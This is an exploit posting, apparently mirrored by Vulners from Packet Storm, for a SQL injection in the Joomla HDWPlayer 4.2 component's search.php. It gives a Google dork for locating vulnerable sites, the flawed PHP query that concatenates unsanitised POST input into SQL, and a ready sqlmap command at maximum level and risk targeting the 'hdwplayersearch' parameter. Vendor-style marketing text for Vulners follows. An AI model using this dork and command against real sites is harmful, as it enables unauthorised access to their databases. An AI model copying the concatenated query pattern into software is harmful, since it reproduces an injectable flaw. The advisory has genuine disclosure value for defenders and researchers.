Lucene search
K

Joomla HDWPlayer 4.2 SQL Injection

🗓️ 23 Mar 2020 00:00:00Reported by qw3rTyTyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 198 Views

Joomla HDWPlayer 4.2 'search.php' SQL Injection exploi

Code
`# Exploit Title: Joomla! com_hdwplayer 4.2 - 'search.php' SQL Injection  
# Dork: inurl:"index.php?option=com_hdwplayer"  
# Date: 2020-03-23  
# Exploit Author: qw3rTyTy  
# Vendor Homepage: https://www.hdwplayer.com/  
# Software Link: https://www.hdwplayer.com/download/  
# Version: 4.2  
# Tested on: Debian/Nginx/Joomla! 3.9.11  
  
##########################################################################  
#Vulnerability details  
##########################################################################  
File: components/com_hdwplayer/models/search.php  
Func: HdwplayerModelSearch::getsearch  
Line: 33  
  
16 class HdwplayerModelSearch extends HdwplayerModel {  
...snip...  
30 function getsearch() {  
31 $db = JFactory::getDBO();   
32 $search = JRequest::getVar('hdwplayersearch', '', 'post', 'string');   
33 $query = "SELECT * FROM #__hdwplayer_videos WHERE published=1 AND (title LIKE '%$search%' OR category LIKE '%$search%' OR tags LIKE '%$search%')"; //!!!  
34   
35 $db->setQuery($query);  
36 $output = $db->loadObjectList();   
37 return($output);  
38 }  
39   
40 }  
41   
42 ?>  
  
##########################################################################  
#PoC  
##########################################################################  
$> python ./sqlmap.py -u "http://127.0.0.1/joomla/index.php" --method=POST --random-agent --data "option=com_hdwplayer&view=search&hdwplayersearch=xxx" --level=5 --risk=3 --dbms=mysql -p hdwplayersearch  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation